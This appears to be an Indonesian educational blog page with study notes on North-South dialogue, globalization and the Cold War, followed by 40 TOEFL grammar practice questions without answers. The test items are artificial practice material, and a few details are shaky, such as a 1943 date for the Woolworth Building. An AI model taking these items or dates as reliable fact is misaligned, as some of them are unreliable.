Melihat keadaan tersebut maka kedua belah pihak menganggap penting adanya kerjasama Utara-Selatan dalam rangka perubahan dalam tata hubungan dunia baru yang lebih adil.Hubungan tersebut haruslah merupakan perubahan dari bentuk pemerasan oleh negara-negara kawasan Utara ke bentuk pembagian keuntungan bersama. Jadi berubah dari hubungan subordinasi menuju ke bentuk kemitraan.

Guna menghindari pertentangan yang semakin tajam antara Utara-Selatan maka diadakan dialog Utara-Selatan yang mulai dipopulerkan sejak dilangsungkan konferensi kerja sama ekonomi internasional tingkat menteri pertama di Paris, Perancis tahun 1975. Tujuan mendasar dari dialog Utara-Selatan adalah mencari kesepakatan dalam mengubah hubungan antara negara-negara industri kaya (G7) dengan negara-negara berkembang (G 15). Konferensi Paris diharapkan bisa menghasilkan perubahan hubungan ke arah persamaan dalam Orde Ekonomi Internasional Baru. Sehingga negara-negara berkembang menginginkan distribusi kekayaan yang lebih adil dan menuntut partisipasi yang lebih besar dalam hubungan ekonomi internasional.

F. GLOBALISASI

Globalisasi adalah jaringan kerja global yang secara bersamaan menyatukan masyarakat yang sebelumnya terpencar-pencar dan terisolasi ke dalam saling ketrgantungan dan persatuan dunia.

Globalisasi tidak dapat dihindarkan bagi setiap bangsa dan negara, sementara globalisasi mengandung fenomena sebagai berikut.

1. Homogenisasi

Homogenesis merupakan sebuah fenomena globalisasi yang disebabkan oleh kemajuan teknologi komunikasi yang dapat menyebar ke masyarakat global. Dampaknya nilai-nilai budaya, vitalitas, dan potensi yang asli ditinggalkan dan nilai-nilai yang telah dipaket dan diproduksi secara massal (seperti melalui TV, Radio,dkk), diiklankan dan dijual ke pasar lalu diadopsi beramai-ramai.

2. Ketergantungan

Negara-negara yang masih mengimpor teknologi komunikasi dan informasi kebanyakan negara-negara berkembang yang akan selalu mengalami masa ketergantungan yang berkepanjangan pada negara maju yang membuat peralatan teknologi informasi dan komunikasi.

3. Keterbukaan dan Integrasi

Kemajuan teknologi informasi dan komunikasi menjadikan dunia semakin terbuka dan terintegrasi. Jarak tidak lagi menjadi hambatan untuk melakukan komunikasi dan segala informasi dunia dapat diketahui dengan mudah, arus globalisasi terus berkembang tanpa dapat dikendalikan bahkan ditolak.

Kesimpulannya :

Pada akhir abad ke-20 dunia banyak mengalami perubahan dan tantangan. Kemajuan ilmu pengetahuan dan teknologi melahirkan keterbukaan yang semakin besar dan batas antarnegara menjadi semu. Akibatnya ketergantungan satu bangsa dengan bangsa lainnya semakin terasa.

Proses globalisasi pembangunan dunia ditandai dengan Perjanjian Bretton Woods yang diselenggarakan di Amerika Serikat, Juli 1944 dan dibentuklah 2 lembaga berdasarkan perjanjian tersebut yaitu Bank Dunia dan Dana Moneter Internasional (International Monetary Fund/IMF).

Dunia telah memasuki era Globalisasi oleh karena itu dibutuhkan prespektif global dalam melihat dunia. Prespektif global merupakan suatu cara pandang dan wawasan untuk melihat bahwa dunia sangat dipengaruhi oleh arus globalisasi dan produk global sehingga hampir semua bangsa saling ketergantungan, mempengaruhi, dan berhubungan antara berbagai kebudayaan, sistem ekologi, politik, ekonomi, dan teknologi dalam konteks global.

Prespektif global dibutuhkan apabila suatu negara ingin memasuki era globalisasi yang penuh tantangan dan persaingan agar tidak mudah kehilangan arah dan terseret arus perubahan zaman. Oleh karena itu ada 6 wawasan global yang harus dimiliki suatu negara, yaitu :

1. Wawasan yang luas dan selalu melihat suatu fenomena dalam konteks global.

2. Menghargai lebih pada proses daripada struktur hirarkis formal.

3. Menghargai kerja sama multikultural dan keragaman, fleksibilitas, dan kepekaan.

4. Melihat perubahan sebagai kesempatan sehingga terbiasa dengan situasi yang tidak menentu.

5. Terus menerus mempertajam keabsahan paradigmanya sendiri.

6. Menyadari bahwa kehidupan di dunia ini serba kompleks dan penuh dengan kekuatan yang kontradiktif sehingga memerlukan manajemen konflik.

3 Dimensi pokok yang dapat dijadikan dasar pengetahuan dan sumber inspirasi untuk menentukan langkah strategis dan antisipasi perkembangan global di masa yang akan datang, yaitu :

1. Globalisasi Ekonomi

Globalisasi ekonomi merupakan motor penggerak terjadinya globalisasi yang ditandai dengan era perdagangan bebas. Dapat terlaksana dengan adanya kerjasama ekonomi baik di tingkat bilateral, regional, maupun internasional didukung dengan adanya rasa keterbukaan dan mendapat keuntungan bersama diantara negara yang terlibat dalam kerjasama ekonomi. Kerjasama ekonomi harus diikuti oleh negara ditengah menguatnya sistem perdagangan dan pasar bebas dunia dalam era globalisasi.

2. Globalisasi Politik

Terjadinya pasar bebas disebabkan karena adanya keputusan politik yang dibuat oleh para pemimpin negara yang terlibat dalam aliansi ekonomi sehingga tidak ada kerjasama ekonomi glonal tanpa diawali keputusan politik. Contoh bentuk kerjasama yang diwarnai unsur politik adalah GNB dan OKI.

3. Globalisasi Kebudayaan

Dalam bidang budaya globalisasi diartikan sebagai sesuatu yang dipelajari dan secara mekanisme adaptasi yang diwarisi secara turun temurun menyangkut aspek : pengetahuan, kepercayaan, seni, moral, hukum, adat istiadat, dan segala kebiasaan sebagai anggota masyarakat. Dalam era globalisasi, keterbukaan informasi memungkinkan seseorang mengadopsi nilai-nilai pengetahuan dan kebiasaan di luar lingkungan sosialnya dan jauh dari jangkauan secara fisik(orang tua maupun orang terdekat) sebab dapat dilakukan oleh media massa yang bahkan dapat menjadi perilaku global yang berkembang di masyarakat suatu negara.

“”””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””

Perang Dingin adalah sebutan bagi sebuah periode di mana terjadi konflik, ketegangan, dan kompetisi antara Amerika Serikat (beserta sekutunya disebut Blok Barat) dan Uni Soviet (beserta sekutunya disebut Blok Timur) yang terjadi antara tahun 1947—1991. Persaingan keduanya terjadi di berbagai bidang: koalisi militer; ideologi, psikologi, dan tilik sandi; militer, industri, dan pengembangan teknologi; pertahanan; perlombaan nuklir dan persenjataan; dan banyak lagi. Ditakutkan bahwa perang ini akan berakhir dengan perang nuklir, yang akhirnya tidak terjadi. Istilah "Perang Dingin" sendiri diperkenalkan pada tahun 1947 oleh Bernard Baruch dan Walter Lippman dari Amerika Serikat untuk menggambarkan hubungan yang terjadi di antara kedua negara adikuasa tersebut.

Setelah AS dan Uni Soviet bersekutu dan berhasil menghancurkan Jerman Nazi, kedua belah pihak berbeda pendapat tentang bagaimana cara yang tepat untuk membangun Eropa pascaperang. Selama beberapa dekade selanjutnya, persaingan di antara keduanya menyebar ke luar Eropa dan merambah ke seluruh dunia ketika AS membangun "pertahanan" terhadap komunisme dengan membentuk sejumlah aliansi dengan berbagai negara, terutama dengan negara di Eropa Barat, Timur Tengah, dan Asia Tenggara.

Meskipun kedua negara adikuasa itu tak pernah bertempur secara langsung, namun konflik di antara keduanya secara tak langsung telah menyebabkan berbagai perang lokal seperti Perang Korea, invasi Soviet terhadap Hungaria dan Cekoslovakia dan Perang Vietnam. Hasil dari Perang Dingin termasuk (dari beberapa sudut pandang) kediktatoran di Yunani dan Amerika Selatan. Krisis Rudal Kuba juga adalah akibat dari Perang Dingin dan Krisis Timur Tengah juga telah menjadi lebih kompleks akibat Perang Dingin. Dampak lainnya adalah terbaginya Jerman menjadi dua bagian yaitu Jerman Barat dan Jerman Timur yang dipisahkan oleh Tembok Berlin. Namun ada pula masa-masa di mana ketegangan dan persaingan di antara keduanya berkurang. Perang Dingin mulai berakhir di tahun 1980-an ketika Pemimpin Uni Soviet Mikhail Gorbachev meluncurkan program reformasi, perestroika dan glasnost. Secara konstan, Uni Soviet kehilangan kekuatan dan kekuasaannya terhadap Eropa Timur dan akhirnya dibubarkan pada tahun 1991.

Latar belakang
Kehadiran dan kekuatan Nazi Jerman memaksa pasukan Sekutu Barat dan pasukan Soviet bersatu untuk menghadapinya. Bagaimanapun, sejak awal aliansi antara Uni Soviet, negara komunis pertama di dunia, Amerika Serikat, negara kapitalis terkaya di dunia, dan Britania Raya, kerajaan terbesar di dunia, diwarnai oleh saling ketidakpercayaan dan tekanan ideologi.

Kejadian yang berhubungan dengan perang dingin
* Perang Vietnam
* Perang Korea
* Perang Soviet-Afganistan
* Perang sipil Kamboja
* Perang sipil Angola
* Perang sipil Yunani
* Krisis Kongo
* Runtuhnya Tembok Berlin
* Revolusi Hongaria
* Krisis Iran
* Krisis misil Kuba

Peserta Perang Dingin
* NATO
* Pakta Warsawa
* Gerakan Non-Blok
* Republik Rakyat Cina
* Sekutu Amerika Serikat diluar NATO
* Sekutu Uni Soviet diluar Pakta Warsawa

Contoh Soal TOEFL(grammar test)

2010-09-02T15:34:00.001+07:00

Berikut adalah contoh sola tes TOEFL untuk kategori Grammar dimana pada sesi ini cukup banyak peserta ujian yang mendapatkan nilai kurang bagus, padahal sebenarnya sesi inilah yang termudah diantara sesi lain sehingga bisa dimanfaatkan untuk mengantrol nilai TOEFL secara keseluruhan

Contoh Soal Tes TOEFL (Grammar)

1. From 1949 onward, the artist
Georgia O’Keeffe made New
Mexico ______.
(A) her permanent residence was
(B) where her permanent
residence
(C) permanent residence for her
(D) her permanent residence
2. Just as remote-controlled satellites
can be employed to explore outer
space, _______employed to
investigate the deep sea.
(A) can be robots
(B) robots can be
(C) can robots
(D) can robots that are
3. In ______ people, the areas of
the brain that control speech are
located in the left hemisphere.
(A) mostly of
(B) most
(C) almost the
(D) the most of
4. Stars shine because of _______
produced by the nuclear reactions
taking place within them.
(A) the amount of light and heat is
(B) which the amount of light
and heat
(C) the amount of light and heat
that it is
(D) the amount of light and heat
5. ________ is not clear to researchers.
(A) Why dinosaurs having
become extinct
(B) Why dinosaurs became extinct
(C) Did dinosaurs become extinct
(D) Dinosaurs became extinct
6. Although many people use the
word “milk” to refer cow’s milk,
_______ to milk from any animal,
including human milk and goat’s
milk.
(A) applying it also
(B) applies also
(C) it also applies
(D) but it also applies
7. The first transatlantic telephone
cable system was not established
_______ 1956.
(A) while
(B) until
(C) on
(D) when
8. _______ no two people think
exactly alike, there will always
be disagreement, but disagreement
should not always be avoided; it
can be healthy if handled
creatively.
(A) There are
(B) Why
(C) That
(D) Because
9. Drinking water ________ excessive
amounts of fluorides may leave
a stained or mottled effect on
the enamel of teeth.
(A) containing
(B) in which containing
(C) contains
(D) that contain

10. In the 1820’s physical education
became _______ of the curriculum
of Harvard and Yale Universities.
(A) to be part
(B) which was part
(C) was part
(D) part
11. Pewter, _______ for eating and
drinking utensils in colonial
America, is about ninety percent
tin, which copper or bismuth added
for hardness.
(A) was widely used
(B) widely used it
(C) widely used
(D) which widely used
12. A moth possesses two pairs of
wings _________as a single pair
and are covered with dustlike scales.
(A) function
(B) are functioning
(C) that function
(D) but functions
13. Soap operas, a type of television
drama series, are so called because
at first, they were ________.
(A) often which soap
manufacturers sponsored
(B) sponsored often soap
manufacturers
(C) often sponsored by soap
manufacturers
(D) soap manufacturers often
sponsored them
14. The Woolworth Building in New
York was the highest in America
when _______ in 1943 and was
famous for its use of Gothic
decorative detail.
(A) built
(B) it built
(C) was built
(D) built it
15. Humans, ________, interact through
communicative behavior by means
of signs or symbols used
conventionally.
(A) like other animals
(B) how other animals
(C) other animals that
(D) do other animals
16. More and 90 percent of the calcium in the human body is in the skeleton.
A B C D
17. Perhaps the most popular film in movie history, Star Wars was written and direction
A B C D
by George Lucas.
18. Some animal activities, such as mating, migration, and hibernate have a yearly
A B C D
cycle.
9
19. Geographers were once concerned largely with exploring areas unknown to them
A B
and from describing distinctive features of individual places.
C D
20. In his animated films, Walt Disney created animals that talk and act like people
A B C
while retaining its animal traits.
D
21. The first city in the United States that put into effect major plan for the clustering, of
A B C
government buildings was Washington, D.C.
D
22. In a microwave oven, radiation penetrates food and is then absorbed primarily by
A B
water molecules, caused heat to spread through the food.
C D
23. The cultures early of the genus Homo were generally distinguished by regular use of
A B
stone tools and by a hunting and gathering economy.
C D
24. Dolphins are sleek and powerful swimmers that found in all seas and unlike
A B
porpoises, have well defined, beaklike snouts and conical teeth.
C D
25. The velocity of a river is river is controlled by the slope, the depth, and the tough
A B C D
of the riverbed.
26. The phonograph record was the first successful medium for capturing, preservation
A B C
and reproducing sound.
D
27. Generally, the pattern of open space in urban areas has shaped by commercial
A B C
systems, governmental actions, and cultural traditions.
D
10
28. A liquid that might be a poor conductor when pure is often used to make solutions
A B C
that readily transmits electricity.
D
29. The initial discovery by humans almost 10,000 years ago that they could exploit
A
metallic mineral deposits was an important milestone in the
B C
development civilization.
D
30. In 1989 Tillic Fowler a Republican, because the first member of her party to
A
serving as president of the city council of Jacksonville, Florida.
B C D
31. General anesthesia, which is usually used for major surgery, involves a complete
A B
loss of consciousness and a relaxed of the muscles.
C D
32. After first establishment subsistence farms along the Atlantic seaboard, European
A B
settlers in North America developed a maritime and shipbuilding industry.
C D
33. The legs of a roadrunner are enough strong that it can run up to 24 kilometers per
A B C
hour to catch lizards and small rodents.
D
34. For the immune system of a newborn mammal to develop properly, the presence of
A B C
the thymus gland is essentially.
D
35. Physicians working in the field of public health are mainly concerned with the
A B
environmental causes of ill and how to eliminate them.
C D
36. By 1850, immigration from distance shores, as well as migration from the
A B
countryside, had caused New York City’s population to swell.
C D
11
37. By identifying similar words or structures in different languages, we find evidence
A
that those languages are related and may be derived from same ancestor.
B C D
38. Astronomers use photography and sighting telescopes to study the motions of all of
A B C
the bright stars and many of the faint one.
D
39. In the nineteenth century a number of Native American tribe, such as the
A B
Comanche, lived a nomadic existence hunting buffalo.
C D
40. The average elevation of West Virginia is about 1,500 foot above sea level.

or you can search in: